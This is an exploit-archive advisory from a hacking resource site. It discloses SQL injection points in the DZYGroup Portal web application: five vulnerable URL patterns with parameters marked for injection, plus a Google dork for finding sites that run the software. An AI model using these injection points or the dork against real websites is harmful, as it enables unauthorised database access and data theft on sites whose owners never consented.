36 lines
No EOL
1.7 KiB
Text
36 lines
No EOL
1.7 KiB
Text
.__.__ .__ __
|
|
|__| | _____ __ __| |__ _____ ____ | | __ ___________
|
|
| | | / \| | \ | \\__ \ _/ ___\| |/ // __ \_ __ \
|
|
| | |_| Y Y \ | / Y \/ __ \\ \___| <\ ___/| | \/
|
|
|__|____/__|_| /____/|___| (____ /\___ >__|_ \\___ >__|
|
|
\/ \/ \/ \/ \/ \/
|
|
.org
|
|
################################ Archieve an Resource About Hacking ###############
|
|
#################### ####################
|
|
#
|
|
# Exploit Title: DZYGroup Portal Remote Sql Injection Vulnerability
|
|
# Author: Netrondoank Aka netron
|
|
# home Page: http://www.ilmuhacker.org
|
|
# Forum : http://www.indotek.or.id
|
|
# Vendor or Software Link: http://www.dzygroup.com/portfolio.php
|
|
# Version: N/A
|
|
# Category:: webapps
|
|
# Google dork: "Powered by DZYGroup"
|
|
# Tested on: Linux Back Track 5
|
|
|
|
####################################################################
|
|
# Proof Of Concept [POC]
|
|
|
|
http://site/[path]/newsDetail.asp?idNews=[Sqli]
|
|
http://site/[path]/articledetail.php?id=[Sqli]
|
|
http://site/[path]/prodetail.asp?Lang=EN&ID_Product=[Sqli]
|
|
http://site/[path]/subcategory.asp?Lang=EN&ID_Category=22&ID_SubCategory=[Sqli]
|
|
http://site/[path]/newsdetail.php?id=[Sqli]
|
|
|
|
|
|
#########################################################################################
|
|
#Greetz To:
|
|
Allah swt .free dom For Palestine .Indonesiansecurity.info, 1337day.com
|
|
packetstormsecurity.org, Exploit-id.com ,securityreason.com ,securityfocus.com
|
|
##########################################################################################
|
|
############################### Archieve an Resource About Hacking--Ilmuhackerdotorg #### |